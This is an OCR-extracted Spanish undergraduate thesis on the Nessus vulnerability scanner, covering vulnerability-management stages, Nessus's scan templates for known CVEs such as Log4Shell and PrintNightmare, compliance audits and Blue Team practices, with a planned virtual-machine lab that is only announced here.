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Resumen

En esta memoria vamos a estudiar la herramienta Nessus, su demonio NESSUSD vy los diferentes
escaneos que esta nos permite.

Para ello, vamos a desarrollar un procedimiento para la gestion de vulnerabilidades encontradas
en varios equipos gue componen una red.

Usaremos la herramienta Nessus para realizar varios tipos de escaneos que nos serviran para
detectar todas las vulnerabilidades de cada equipo. Una vez detectadas las vulnerabilidades,
estudiaremos los resultados e intentaremos explotar y poner solucion a todas aquellas que sea
posible.

Por ultimo, volveremos a realizar escaneos para corroborar que la maguina ya no tiene dichas
vulnerabilidades.



Abstract

In this report we are going to study the Nessus tool, its NESSUSD daemon and the different scans
that it allows us to perform.

To do so, we are going to develop a procedure for the management of vulnerabilities found in
several computers that make up a network.

We will use the Nessus tool to perform several types of scans that will help us to detect all the
vulnerabilities of each computer. Once the vulnerabilities have been detected, we will study the
results and try to exploit and solve as many of them as possible.

Finally, we will run scans again to corroborate that the machine no longer has these
vulnerabilities.



Palabras clave

1° Demonio (Daemon): 'Disk and Execution Monitor', es un proceso ejecutado en segundo plano
bien lanzado por un programa o servicio. Estos procesos no disponen de una interfaz gréfica o
textual por lo que no son visibles para el usuario. Utilizan los archivos del sistema y otros
demonios para comunicar errores y registrar su funcionamiento. [1]

2° Vulnerabilidad: en el campo de la ciberseguridad, una vulnerabilidad es una desproteccion del
sistema que pone en peligro a uno o varios equipos. Las vulnerabilidades permiten que un usuario
externo al sistema (hacker) acceda a él y obtenga el control de este, bien para explotar los recursos
del sistema a su beneficio o para extraer todo tipo de informacion confidencial. [2]

3° Escaneo: accion de escanear para detectar fallos de seguridad (vulnerabilidades) tanto en uno
0 varios equipos/sistemas como en una red. Los escaneos sirven para encontrar fallos en
sistemas/redes, pero no acttan sobre ellos para resolverlos. [3]

4° Parches: Son un conjunto de cambios que se aplican a un software para resolver errores o
vulnerabilidades encontradas. Los parches actlian directamente sobre el codigo original del
software para efectuar los cambios. [4]

5° Metasploit: es un proyecto de codigo abierto que proporciona informacion acerca de las
vulnerabilidades en un sistema y ayuda en tests de penetracion. Es la herramienta mas utilizada
en el sector de la ciberseguridad ya que cuenta con gran cantidad de exploit diferentes para realizar
explotaciones de vulnerabilidades y poner a prueba estas. [5]



1. Introduccion

En este primer apartado, haremos una presentacion sobre el planteamiento del trabajo y los
objetivos a conseguir.

1.1 Presentacion

En pleno siglo XXI cada vez son més las empresas que aumentan el nimero de dispositivos
tecnoldgicos en ellas, como pueden ser gran cantidad de ordenadores para los diferentes
departamentos, servidores para distintas funciones como alojamiento web, bases de datos,
almacenaje de documentacion fragil, entornos de prueba, maquinas virtuales, routers, etc.

Todos estos equipos en una empresa conforman una red de trabajo que son el motor del negocio,
por lo que, las empresas no pueden permitirse ningin tipo de vulnerabilidad en su red de equipos.
Por este factor, los departamentos de IT cada vez tienen un peso mayor dentro de las empresas,
ya que son los encargados de mitigar las debilidades de los equipos en la red y crear un entorno
mas seguro, disminuyendo las incidencias de seguridad que pueda sufrir una organizacién.

Por otra parte, cada vez son mas los ataques e intentos de penetracion en compafiias por parte de
hackers para robar informacion. Estos, aprovechan todas las vulnerabilidades que tienen las redes
y los equipos para sortear la seguridad e introducirse de lleno en ellos. Estos buscan cualquier
tipo de vulnerabilidad como un puerto abierto, un sistema desactualizado, una brecha en el codigo
de una pagina web, un usuario y contrasefia tipicos e incluso cuando consiguen acceso a la red,
hacen uso de exploits para hacerse con el control de los sistemas y robar informacién o chantajear
a la compafiia perjudicada.

Frente a todos estos riesgos, hay compafiias como Tenable que ofrecen herramientas de analisis
de seguridad como por ejemplo NESSUS, la cual, usaremos en este proyecto de fin de grado para
demostrar lo importante que es mantener nuestros sistemas actualizados, nuestras contrasefias
bien protegidas y nuestra red bien configurada.

Gracias a esta herramienta podremos demostrar lo sencillo que es detectar y evaluar rdpidamente
y con precision la exposicion de los equipos de nuestra red frente a los ataques de hackers,
conociendo en todo momento las vulnerabilidades de cada uno de estos equipos. De este modo,
podremos actuar antes que un hacker y prevenir ataques, penetraciones en nuestros equipos y robo
de nuestra informacion.

Tambien nos pondremos en el papel de los atacantes para demostrar como utilizando Nessus
podemos penetrar en un equipo con ciertas vulnerabilidades y explotarlo hasta tal punto de tener
el control de este.



1.2 Objetivo

El objetivo de este proyecto incluye dos partes, la primera, la tedrica, en la que explicaremos méas

a fondo:

La segu

La gestion de vulnerabilidades y sus etapas.

Que es Nessus y todo lo que abarca.

Los dos &mbitos en los que se usa Nessus.

Los diferentes tipos de escaneo que contiene la versién ESSENTIAL de Nessus.
Las fases del Pentesting.

nda parte, es la parte practica. Aqui construiremos un entorno de pruebas con varias

maquinas virtuales en VirtualBox siguiendo la siguiente distribucion:

Maquina virtual Windows 10: Simula un equipo normal.

Maquina virtual Ubuntu 16: Simula el equipo de un administrador.

Maquina virtual Windows 7: Simula un equipo desactualizado.

Maquina virtual Windows XP: Simula un equipo con un software el cual no es posible
migrar a un SO superior.

Todos los equipos estaran conectados entre si, simulando una red de trabajo. Instalaremos y
escanearemos con Nessus la red en busca de dichos equipos filtrando tanto por IP como por tipo

de siste

ma operativo. Una vez localizados dichos equipos, nos centraremos en ellos y los

escanearemos en profundidad en busca de vulnerabilidades y malwares que puedan contener.

Una vez halladas todas las vulnerabilidades, realizaremos précticas en ambas partes de la
ciberseguridad:

Parte defensiva: Intentaremos parchear todas las vulnerabilidades posibles de cada uno
de los equipos, para evitar que ningun hacker pueda usarlas para colarse en nuestra red
de equipos.

Parte atacante: Investigaremos e intentaremos explotar varias vulnerabilidades que haya
en cualquiera de los equipos. Principalmente, nos centraremos en usar Metasploit para
realizar test de penetracion ‘Pentesting’, Mimikatz para la extraccion de contrasefias
almacenadas en memoria, realizacion de exploits y por ultimo Meterpreter para hacernos
con el control de los equipos a través de un reverse.



2. Descripcion del trabajo

En esta parte explicaremos toda la informacion y los conceptos necesarios para el entendimiento
de la parte practica.

El desarrollo del trabajo consiste en la busqueda de vulnerabilidades en una red de equipos y
analizar de manera practica la forma de parchear estas para evitar un posible ataque por parte de
un hacker. Por el contrario, tambien nos pondremos en el papel de atacante e intentaremos
explotar alguna vulnerabilidad para hacernos con el control del equipo.

Para todo esto, primero necesitamos estudiar varios conceptos, los cuales explicaremos a
continuacion.

2.1 Base tedrica

2.1.1 Gestion de vulnerabilidades.

Hoy en dia, la filtracién de datos de las compafiias se produce con tanta frecuencia que se ha
convertido en algo inevitable. Por eso los departamentos de seguridad de las empresas tienen que
adoptar un enfoque proactivo para gestionar las vulnerabilidades de la red y asi minimizar el
numero de ataques que podria realizar un ciberdelincuente para hacerse con el control de los
sistemas.

Cada vez son mas las técnicas, programas y sistemas que utilizan los ciberdelincuentes para
realizar sus ataques y, es por ello, por lo que las empresas deben tomar la iniciativa para prevenir
ataques v asi, reducir considerablemente el riesgo de que exploten sus vulnerabilidades, lo que
supondria un peligro para toda la empresa.

La mejor manera de proteger los sistemas y mantener la seguridad de la informacién es adoptando
un programa de gestion de vulnerabilidades antes de que se produzca un ataque. Para ello, hay
que contemplar los cuatro pasos que siguen los programas de gestion de vulnerabilidades.

IDENTIFICACION DE
LAS

VULNERABILIDADES

INFORMACION DE FASES PARA LA EVALUACION DE
LAS LAS

GESTION DE
VULNERABILIDADES VULNERABILIDADES VULNERABILIDADES

TRATAMIENTO DE

VULNERABILIDADES




Los pasos a seguir son:
1° Identificacion de las vulnerabilidades.

En este primer paso se tratara de realizar un escaneo profundo a cada uno de los equipos y a la
red que forman la empresa en busca de todas las vulnerabilidades. El escaneo de vulnerabilidades
se puede realizar tanto desde dentro (Caja blanca) como desde fuera (Caja negra) de la red. Los
escaneos constan de cuatro fases:

e Primero, el escaner detecta todos los sistemas accesibles dentro de la red.

e Segundo, el escaner analiza en cada uno de los sistemas los puertos abiertos y los
servicios que corren en ellos.

e Tercero, el escaner intenta acceder a todos los sistemas para recopilar toda la informacion
posible.

e Cuarto, el escaner compara toda la informacion obtenida de todos los sistemas para
analizar las vulnerabilidades de cada uno de los dispositivos existentes en la red.

El escaner comprueba todo tipo de informacién como sistemas operativos, puertos abiertos,
estructura del sistema de archivos, configuraciones, cuentas de usuario, malwares, protocolos
activos, etc. Una vez obtenida toda esta informacion es escaner une cada uno de estos atributos
con posibles vulnerabilidades que afectan a estos y comprueba el estado del equipo para
determinar si tiene 0 no una vulnerabilidad activa. Para todo este analisis, los programas de
escaneo de vulnerabilidades, en nuestro caso Nessus, buscan en una base de datos genérica que
recopila toda la informacién sobre vulnerabilidades conocidas publicamente. Esta base de datos
se actualiza todos los dias para tener siempre la Gltima informacion sobre cada una de las
vulnerabilidades conocidas.

2° Evaluacion de las vulnerabilidades.

Una vez terminado el escaneo de todos los sistemas contenidos en la red, el siguiente paso es
analizar y evaluar los puntos débiles de estos y categorizarlos en diferentes niveles de prioridad
segun sus riesgos potenciales.

En el proceso de priorizacién de vulnerabilidades se tiene en cuenta el riesgo de la amenaza a
nivel tecnoldgico, pero tambien hay que considerar el impacto en los procesos y tareas de la
empresa. Para su priorizacion se utiliza un sistema de puntuacion de vulnerabilidades creado por
la empresa considerando cuales son mas criticas que otras.

Las puntuaciones indican a la empresa que vulnerabilidades suponen una mayor amenaza y
requieren una actuacion prioritaria. En ciertos casos muy inusuales puede producirse un falso
positivo en el escaneo por lo que la empresa debe considerar otros factores como:

e Primero, la dificultad a la hora de explotar una vulnerabilidad.

e Segundo, el impacto y la gravedad que tendria la explotacion de dicha vulnerabilidad.
e Tercero, si dicha vulnerabilidad puede ser explotada desde el exterior de la red.

e Cuarto, la antigliedad de la vulnerabilidad y el tiempo que lleva expuesta en la red.

Toda empresa puede aumentar la deteccion de vulnerabilidades y reducir los falsos positivos
realizando test de penetracion. Estos junto con los escaneos de vulnerabilidades demostraran los
puntos fuertes y débiles de la infraestructura de la red de la empresa.
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3° Tratamiento de las vulnerabilidades.

En este tercer paso se buscan y aplican las medidas necesarias para corregir las vulnerabilidades
y mitigar su impacto en caso de que alguna fuese explotada. Para evitar la explotacién las
aplicaciones y medidas mas comunes son la aplicacion de parches de seguridad y de correccion
de vulnerabilidades, la eliminacion de procesos y tareas que comprometen la seguridad, la
adopcion de nuevas politicas de seguridad, el cierre de puertos en desuso, la actualizacion de
sistemas operativos, la actualizacién de softwares méas usados, el control en todo momento del
trafico de la red para evitar peticiones fraudulentas, etc. Todas estas medidas previenen la
explotacién de muchas de las vulnerabilidades que pueden tener los sistemas en una red de
equipos dentro de una empresa.

Dentro de este tercer paso tenemos tres tipos de acciones para eliminar las vulnerabilidades:

e Correccidn, esta accion es la més sencilla y la preferible si puede ser llevada a cabo.
Consiste en aplicar todo tipo de actualizaciones al sistema o software para eliminar por
completo la vulnerabilidad y evitar que esta pueda ser explotada.

e Mitigacion, esta accion debe llevarse a cabo cuando la accidn de correccion no ha sido
efectiva 0 no ha podido ser aplicada. La accion de mitigacion sirve para mitigar la
vulnerabilidad y reducir el riesgo de que los atacantes exploten un punto débil. Esta
opcidn es una medida temporal para las vulnerabilidades que son nuevas y de las que aln
no se tiene el parche adecuado, por lo tanto, esta accion debe utilizarse para ganar tiempo
hasta que se encuentre una solucidn efectiva y definitiva que corrija dicha vulnerabilidad.

e Aceptacion, esta accién se aplica cuando una vulnerabilidad es de muy bajo riesgo y
podria costar mas el recurso para eliminarla y repararla que el propio dafio que esta pueda
causar. Por lo tanto, la empresa debe decidir si llevarla a cabo o afrontar el punto débil de
la vulnerabilidad y no tomar medidas correctoras para corregirla.

Después de llevar a cabo las acciones de correccion y mitigacion siempre hay que realizar otro
analisis de las vulnerabilidades para garantizar que el punto débil o vulnerabilidad ha quedado
solucionado y se ha eliminado la brecha de seguridad que habia.

4° Informacién de las vulnerabilidades.

Una vez terminado es escaneo para la deteccion de vulnerabilidades y llevado a cabo ciertas
medidas para la solucidn de estas, se debe informar y registrar todo lo implementado en el proceso
para facilitar las futuras actuaciones frente a nuevas vulnerabilidades que iran apareciendo.

Gracias a esta documentacion, las empresas pueden conocer en todo momento sus puntos débiles
y tener una visién detallada de la infraestructura de su organizacion.

En este cuarto paso no acabaria la gestion de vulnerabilidades, ya que es un proceso continuo que
debe estar constantemente funcionando para detectar nuevas amenazas en la red o nuevas
vulnerabilidades que puedan aparecen en nuestros sistemas por falta de nuevas actualizaciones o
configuraciones y aplicar acciones para eliminarlas o mitigarlas, garantizando asi un nivel alto de
proteccion a los sistemas y datos de la empresa. [6]
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2.1.2 Nessus.

Cuando comienzas en el mundo de la ciberseguridad y realizas pruebas de penetracion y
evaluaciones de vulnerabilidad, una herramienta que debes de conocer es Nessus.

Nessus es un software de escaneo de vulnerabilidades en distintos sistemas operativos que se creo
en 1998 para proporcionar a la comunidad de internet un escaner remoto de seguridad para sus
sistemas.

Nessus es un software basado en el modelo cliente-servidor contando de su propio protocolo de
comunicacion. Consta de dos partes, la primera, su demonio ‘nessusd’ que es la parte que se
dedica a realizar escaneos y probar ataques contra los sistemas objetivos. La segunda parte, el
cliente de ‘nessus’ usado tanto de manera grafica como por consola, realiza las tareas de control,
generacion de informes, presentacion de los datos y muestra el avance e informa sobre el estado
de los escaneos.

El software de Nessus se controla mediante una interfaz una interfaz web, permitiendo al
administrador crear distintos tipos de escaneos, tanto personalizados como plantillas predefinidas
que vienen creadas ya en el propio software. Nessus permite el escaneo de multiples tecnologias
como sistemas operativos, dispositivos de red, hipervisores, bases de datos, servidores web e
infraestructuras criticas, en busca de vulnerabilidades, amenazas y violaciones de la normativa.

Los escaneos comienzan detectando los equipos de la red en la que lanzamos Nessus o en un
rango acotado por nosotros de dicha red. Escanea los puertos abiertos de cada sistema detectado
usando internamente el escaner de ‘nmap’ o su propio escaner de puertos. Después determina que
servicio estan siendo ejecutado en cada puerto para ver si existen vulnerabilidades en él que
puedan ser utilizadas por un hacker para llevar a cabo un ataque malicioso. Por ultimo, después
de detectar y analizar los diferentes sistemas, intenta lanzar varios exploits para atacarlos y
detectar asi la criticidad de cada sistema.

Nessus sigue un proceso especifico cuando realiza un escaneo:

1.Recuperar la
configuracion del 2.Descubrimiento 3.Escaneo de 4.Deteccion de 5.Deteccién del 6.Analisis de
escaneo y crear del host. puertos. servicios. SO. vulnerabilidad.
una KB.

El creador de Nessus, Tenable, ha confirmado que Nessus es capaz de detectar mas de 47.000
vulnerabilidades y exposiciones comunes. Para la deteccion de estas, Nessus cuenta con una larga
lista de plugins continuamente actualizados y disponibles escritos en NASL (Nessus Attack
Scripting Language) optimizados para realizar interacciones personalizadas en red. Asi pues,
Nessus nos permite realizar una exploracion proactiva de los sistemas de nuestra red en busca de
brechas, puntos débiles o vulnerabilidades que afecten a la seguridad de nuestra red. De este
modo, Nessus nos reportara alertas de todo tipo de vulnerabilidades de seguridad como:

e Utilizacion de servidores no actualizados y que presenten vulnerabilidades conocidas
como versiones antiguas de correo, softwares de FTP desactualizados, etc.

e Malas configuraciones de servidores como, por ejemplo, permisos de escritura para
usuarios anénimos por parte de un servidor ftp.

e Una mala implementacion del protocolo TCP/IP del equipo remoto.

e Utilizacion de aplicaciones CGI (Common Gateway Interface) desde servidores web mal
configurados que suponen una brecha de seguridad contra el sistema que las aloja.
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e Instalacion de puertas traseras, troyanos, demonios de DDoS u otros servicios extrafios
en sistemas de produccion.

Los plugins comprobaran todos estos tipos de escenarios lanzando ataques simulados para
detectar cualquier vulnerabilidad existente. Algunos de estos ataques pueden ser peligrosos contra
el sistema analizado. Aunque Nessus no es utilizado para destruir informacion del sistema, un
ataque simulado por parte de este puede conducir a una denegacion del servicio remoto, por la
gran cantidad de comprobaciones necesarias del sistema. Tambien puede generar una gran
cantidad de trafico ‘basura’ en la red, pudiendo saturarla.

Por estos motivos, es importante conocer todas las posibilidades de configuracion que tiene
Nessus. Este tipo de pruebas se deben hacer en horarios programados donde no se afecte al trabajo
de la empresa donde se realice el escaneo, ya que, durante estos, la red puede ser saturada durante
breves periodos de tiempo incluso llenando la red de ‘paquetes basura’. Ademas, es importante
saber si los equipos a analizar pueden ser reiniciados o apagados durante ciertos periodos de
tiempo, en caso de problemas como, corromper sistemas operativos o tirar servicios, sin que esto
afecte a nadie.

Después de cada escaneo, Nessus ofrece la posibilidad de exportar los resultados obtenidos
durante la realizacion de la exploracion realizada. Permite crear informes en diferentes formatos
como, por ejemplo, como texto plano, XML, HTML, ASCIl y LaTex.

Por Gltimo, Nessus guarda todas las vulnerabilidades conocidas, su explotacion y su parcheo en
una base de datos comun que recoge todos estos datos y se actualiza diariamente para evitar
desactualizaciones sobre las vulnerabilidades y poder dar una rapida actuacion frente nuevas
apariciones.

A parte de la base de datos, donde Nessus recoge toda la informacion sobre las vulnerabilidades
y la usa en cada escaneo, Tenable ofrece a toda la comunidad una base de conocimientos
(https://community.tenable.com/s/) donde podemos encontrar todo sobre los plugins,
configuraciones, licencias, integraciones, auditorias, cumplimientos, escaneos y monitoreo.

2.1.3 Tipos de escaneo.

Nessus tiene gran variedad de tipos de escaneo. Estos, se dividen en tres tipos:

o Discovery: Son los escaneres basicos para descubrir los sistemas conectados a la red.

¢ Vulnerabilities: Son todos los tipos de escaneos utilizados para detectar vulnerabilidades
en la red. Hay diferentes tipos, unos se focalizan en ciertos tipos de vulnerabilidades y
otros son mas geneéricos.

e Compliance: Son los escaneos de cumplimiento de auditoria. Con ellos, podemos ver si
la red escaneada cumple con las configuraciones estipuladas.

Para este proyecto hemos utilizado la version Essentials de Nessus la cual permite realizar los
siguientes:

En la parte Discovery:
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https://community.tenable.com/s/

Host Discovery

llustracion 1 — Escaneo Host Discovery

Host Discovery: Es un escaner simple que permite descubrir todos los sistemas conectados a la
red, la informacion asociada, como la direccién IP, el FQDN, el sistema operativo y los puertos
gue tiene abierto cada uno.

En la parte de Vulnerabilities:

Basic Metwork Scan

llustracion 2 — Escaneo Basic Network Scan

Basic Network Scan: Es un escaner cuyo objetivo es realizar un andlisis completo del sistema en
busca de todas las vulnerabilidades. En este tipo de escaneo vienen cargados todos los plugins sin
posibilidad de modificacion, siendo este escaneo para un analisis rapido de todas las
vulnerabilidades.

e

Advanced Scan

llustracién 3 — Escaneo Advanced Scan

Advanced Scan: Es un escaner totalmente configurable. Esta creado para poder gestionar los
plugins que se van a lanzar con el escaneo, el tiempo de duracion del escaneo por cada equipo,
las credenciales de cualquier distribucidn, los tipos de ping que se realizaran a los equipos, el tipo
de enumeracién de puertos, los servicios de encriptacion (SSL, TLS, DTLS) que se usaran, el
protocolo SMTP para envi6 masivo de spam, el tipo de fuerza bruta que se usara con las
contrasefias, los tipos de malware, el tipo de reportes y los logs. Es un tipo de escaneo muy
efectivo y el més usado para la busqueda de vulnerabilidades en toda una red de equipos.

14



Advanced Dynamic Scan

llustracion 4 — Escaneo Advanced Dynamic Scan

Advanced Dynamic Scan: Es un escaner creado para la busqueda de una vulnerabilidad en
concreto, es decir, con este escaner podemos seleccionar cualquier plugins en lugar de familias
completas de plugins y filtrar para poder seleccionar los plugins que sirvan solo para la blsqueda
de la vulnerabilidad que queremos.

Malware Scan

llustracién 5 — Escaneo Malware Scan

Malware Scan: Este escéner esta dedicado Unicamente a la busqueda de Malware, tanto en
sistemas Windows como Unix. Busca todo tipo de Malwares (Ransomware, Spyware, Gusanos,
Adware, Troyanos, botnets).

Web Application Tests

llustracion 6 — Escaneo Web Application Tests

Web Application Tests: Este escaner es el Unico escéaner dedicado a la busqueda de
vulnerabilidades en paginas web tanto conocidas como desconocidas. Busca vulnerabilidades en
los codigos de la web buscando partes de codigo poco seguras o faciles de romper.
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Credentialed Patch Audit

llustracién 7 — Escaneo Credentialed Patch Audit

Credentialed Patch Audit: Este escaner autentifica a cada host para verificar quien es cada uno
con una clave distinta y Unica y enumerar las actualizaciones que les falta a cada uno de ellos.

Intel AMT Security Bypass

llustracion 8 — Escaneo Intel AMT Security Bypass

Intel AMT Security Bypass: Este escaner realiza comprobaciones remotas y locales de la
vulnerabilidad en las SKUs de administrabilidad de Intel: Intel Active Management Technology
(AMT), Intel Standard Manageability (ISM) e Intel Small Business Technology (SBT). Esta
vulnerabilidad puede ser explotada por un hacker sin privilegios y alcanzar todos los privilegios
del sistema para aprovisionar las SKUs (Stock-Keeping unit).

3

Spectre and Meltdown

llustracion 9 — Escaneo Spectre and Meltdown

Spectre and Meltdown: Este escaner realiza comprobaciones remotas y locales de las
vulnerabilidades que tienen los sistemas que utilizan unos microprocesadores en concreto (CVE-
2017-5753, CVE-2017-5715 y CVE-2017-5754). Estas vulnerabilidades afectan al rendimiento
del procesador de la mayoria de los PCs y smartphones ya que la funcion principal del ataque es
el espionaje completo de todos los procesos y de los datos que estan en memoria. [7]
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WannaCry Ransomware

llustracion 10 — Escaneo WannaCry Ransomware

WannaCry Ransomware: Este escaner busca Unica y exclusivamente la vulnerabilidad (MS17-

010) la cual es explotada por el ransomware WannaCry haciéndose con el control de un sistema
entero.

&

Ripple20 Remote Scan

llustracion 11 — Escaneo Ripple20 Remote Scan

Ripple20 Remote Scan: Este escaner hace una busqueda en la red de los equipos que ejecutan

una libreria de bajo nivel que implementa una pila de TCP/IP y que puedan estas afectados por la
vulnerabilidad de Ripple20. [8]
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Zerologon Remote Scan

llustracion 12 — Escaneo Zerologon Remote Scan

Zerologon Remote Scan: Este escaner se centra en buscar una vulnerabilidad en los sistemas
Windows que provoca una elevacién de privilegios al usuario que explote la vulnerabilidad.
Zerologon proviene de un fallo en el proceso de inicio de sesion permitiendo que el atacante pueda
hacerse pasar por cualquier sistema conectado a la red como por el controlador del dominio raiz.

[9]
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Solorigate

llustracién 13 — Escaneo Solorigate

Solorigate: Este escaner se centra es buscar las vulnerabilidades en los softwares de SolarWinds.
Estos softwares se utilizan para monitorizar gran cantidad de sistemas y una brecha en uno de
ellos puede provocar un gran robo de informacion confidencial. [10]

ProxyLogon : MS Exchange

llustracion 14 — Escaneo ProxyLogon : MS Exchange

ProxyLogon: MS Exchange: Este escaner busca las vulnerabilidades de Microsoft Exchange
Server relacionadas con las CVE-2021-26855, CVE-2021-26857, CVE-2021-26858 y CVE-
2021-27065. Esta vulnerabilidad consiste en la falsificacion de solicitud del lado del servidor
(SSRF) estableciendo conexiones HTTPS para autenticar el acceso de los usuarios.

£

PrintNightmare

llustracion 15 — Escaneo PrintNightmare

PrintNightmare: Este escaner busca las vulnerabilidades que afectan a los sistemas al servicio
Print Spooler de los sistemas Windows. La vulnerabilidad CVE-2021-34527 permite la ejecucion
remota de codigo (RCE) en cualquier servidor con el servicio habilitado permitiendo que
cualquier usuario en la red se haga con el control del dominio de Active Directory. [11]

4

Active Directory Starter
Scan

llustracion 16 — Escaneo Active Directory Starter Scan
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Active Directory Starter Scan: Este escaner es Unicamente para la bisqueda de fallos en la
configuracion de Active Directory. Escanea la configuracion completa del AD en blsqueda de
parametros no activos o mal configurados que afecten a la seguridad, provocando brechas o partes
vulnerables en el servidor donde se aloja.

Log4Shell

llustracion 17 — Escaneo Log4Shell

Log4Shell: Este escaner detecta la vulnerabilidad CVE-2021-44228 Log4Shell mediante
comprobaciones locales. Log4Shell es una vulnerabilidad de software, mas en concreto de
‘Apache Log4j2’, una biblioteca de java utilizada para mensajes de error en aplicaciones. Esta
vulnerabilidad permite que un atacante engafie al codigo de la aplicacion para que este solicite y
ejecute cédigo malicioso bajo el control del atacante. Con esta vulnerabilidad los atacantes pueden
hacerse con el control de todos los servicios conectados a la red que usen dicha biblioteca de java.

[12]

Log45hell Remote Checks

llustracion 18 — Escaneo Log4Shell Remote Checks

Log4Shell Remote Checks: Este escaner detecta la vulnerabilidad CVE-2021-44228 Log4Shell
mediante comprobaciones remotas. La diferencia principal del escaner anterior con este, es que
este escaner, permite comprobar si la explotacion que se ha llevado a cabo ha generado cédigo
remoto mediante el registro de una cadena en los sistemas afectados.

Log4Shell Vulnerability
Ecosystem

llustracion 19 — Log4Shell Vulnerability Ecosystem

Log4Shell Vulnerability Ecosystem: Este escaner detecta la vulnerabilidad CVE-2021-44228
Log4Shell mediante comprobaciones tanto locales como remotas. Este tipo de escaneo es
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dindmico por lo que la comparfiia de Nessus, Tenable, modifica e inserta regularmente nuevos
plugins a medida que los proveedores de software actualizan este.

I

2021 Threat Landscape
Retrospective {TLRP

llustracion 20 — Escaneo 2021 Threat Landscape Retrospective (TLR)

2021 Threat Landscape Retrospective (TLR): Este escaner se centra en detectar las
vulnerabilidades que aparecen en el ‘informe 2021 Threat Landscape Retrospective de Tenable’.
Estas vulnerabilidades son:

e ProxyLogon, Microsoft Exchange Server — CVE-2021-26855.
e PrintNightmare, Windows Print Spooler — CVE-2021-34527.

e WMWare, VSphere — CVE-2021-21985.

e Pulse Connect Secure — CVE-2021-22893.

e ZeroLogon, Windows NetLogon Protocol — CVE-2020-1472.

Este informe recoge las vulnerabilidades mas criticas del afio 2021 y las agrupa para dar una
vision mas amplia sobre ellas. Este escaner, se centra en dichas vulnerabilidades para hacer

énfasis en el parcheo de estas.

CISA Alerts AA22-011A and
AR22-04TA

llustracion 21 — Escaneo CISA Alerts AA22-011A and AA22-047A

CISA Alerts AA22-011A and AA22-047A: Este escaner busca las vulnerabilidades de las alertas
CISA AA22-011A y AA22-047A. CISA (Cybersecurity and Infrastructure Security Agency) es
el sistema nacional de concientizacion cibernética y su objetivo es mitigar las amenazas
patrocinadas por el estado ruso a la infraestructura critica de los Estados Unidos. Este escaner se
actualiza tanto su politica de escaneo como sus plugins regularmente, yendo a la par de las alertas
que van notificando en el CISA. [13]

‘ﬂ)
. 4
1
ContiLeaks

llustracién 22 — Escaneo ContiLeaks
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ContilLeaks: Este escaner busca todas las vulnerabilidades remotas y locales del grupo
ContiLeaks. Este grupo se dedica a llevar a cabo todo tipo de ciberdelincuencia como la
explotacion de vulnerabilidades con malwares, ransomware, OSINT, phishing, creacion de
puertas traseras en sistemas, robo de informacién, chantajes, etc. Este escaneo tiene una parte
muy compleja de funcionalidad, ya que el grupo ContiLeaks actualiza sus ataques diariamente,
siendo muy dificil poder parchear la vulnerabilidad antes de recibir el ataque. [14]

Ransomware Ecosystem

llustracion 23 — Escaneo Ransomware Ecosystem

Ransomware Ecosystem: Este escaner busca todas las vulnerabilidades que puedan llegar a ser
beneficiosas para cualquier tipo de ransomware. Da una informacion detallada de las
vulnerabilidades encontradas mostrando informacion acerca de los posibles atagues que podria
haber sufrido. [15]

En la parte Compliance:

En esta parte podemos ver los siguientes escaneos, de los cuales, no hay ninguno disponible para
poder ejecutar en la version Essentials. Estos escaneos estan disponibles en versiones superiores
como Nessus Professional o Nessus Expert.

o = = =
- T
Audit Cloud Infrastructure Internal PCI Network Scan MDM Config Audit Offline Config Audit PCl Quarterly External Policy Compliance Auditing SCAP and OVAL Auditing
Scan

llustracion 24 — Escaneos de Compliance

Aunque no hayamos podido ejecutar ninguno de ellos, daremos una breve descripcion de cada
uno de ellos:

Audit Cloud Infrastructure: Este escaner se centra en auditar que se ha establecido una correcta
configuracion de los servicios en la nube de terceros.

Internal PCI Network Scan: Este escaner se centra en comprobar que se cumpla la normativa
estandar de seguridad en los dispositivos internos de la red. Intenta evitar todo tipo de estafas en
entornos bancarios.

MDM Config Audit: Este escaner se centra en auditar que se cumpla la normativa de la
plataforma de seguridad movil que alberga gran cantidad de datos en dispositivos moviles,
aplicaciones y en la nube.

Offline Config Audit: Este escaner se centra en auditar que se cumpla con una cierta
configuracion de los dispositivos de red.
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PCI Quarterly External Scan: Este escaner realiza los escaneos externos trimestrales exigidos
por la normativa PCI que tiene como objetivo reducir el fraude con las tarjetas de crédito y
aumentar la seguridad de las transacciones online.

Policy Compliance Auditing: Este escaner audita todas las configuraciones de cada uno de los
sistemas con respecto a una politica de base conocida permitiendo detectar tendencias en los
sistemas que no cumplen la normativa.

SCAP and OVAL Auditing: Este escaner audita todos los sistemas utilizando las definiciones
de los protocolos ‘Security Content Automation Protocol’ y ‘Open Vulnerability and Assessment
Language’ definidos por NIST para manipular todo tipo de informacién relacionada con la

seguridad. [16] [17]

2.1.4 Nessus en distintos ambitos.

El sector de la ciberseguridad es muy amplio y estd en continua expansion y no todos los
especialistas pueden abarcar todos los conocimientos tanto de ataque como de defensa. Es por eso
por lo que se crearon dos grandes equipos de trabajo en el sector ‘Blue Team’ y ‘Red Team’.

2.1.4.1 Defensa (Blue team).

El primer equipo de trabajo que encontramos es el ‘Blue Team’. Este equipo trata de
analizar y estudiar cdmo se comportan los usuarios de una organizacion para encontrar
cualquier tipo de incidente o0 anomalia que pueda haber pasado desapercibida para el resto
de los sistemas de seguridad.

Su funcidn principal es defender a toda costa la integridad de los datos y los sistemas de
una organizacion y para ello realizan una serie de pasos.

Estos pasos son:

e Reunir toda la informacion posible sobre todos aquellos datos y sistemas que hay
que proteger. Documentarla y analizarla para realizar una evaluacion de los
posibles riesgos que esta informacién pueda tener si cayese en malas manos.

e Reforzar los accesos a todos los sistemas introduciendo politicas estrictas en
materia de seguridad y documentar una serie de procedimientos de seguridad los
cuales tendran que llevar a cabo los trabajadores de la organizacion.

e Establecer protocolos de vigilancia para controlar los accesos y peticiones a los
sistemas de la organizacién y detectar cualquier intento de acceso fraudulento.

e Efectuar comprobaciones perioddicas del sistema realizando auditorias para
corroborar la ausencia de vulnerabilidades y anomalias.

¢ Realizar evaluaciones de riesgo identificando las amenazas de cada sistema y las
debilidades que puedan ser explotadas por parte de un atacante, de esta manera,
el ‘Blue Team’ puede desarrollar planes de prevencion.

Una vez definidos los pasos que sigue el equipo ‘Blue Team’ explicaremos cuales son los
procedimientos que siguen para defender sus sistemas.

Las técnicas de actuacion son:
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e Realizar auditorias del DNS para prevenir ataques de phishing, man in the
middle, etc. Constante analisis de los DNS de la organizacion para evitar la
caducidad de estos y reducir los ataques al DNS.

o Efectuar andlisis de los accesos y rastros de los usuarios para seguir la actividad
de estos y corroborar que usuarios son de la organizacion y cuales no alertando
de una violacion de la seguridad.

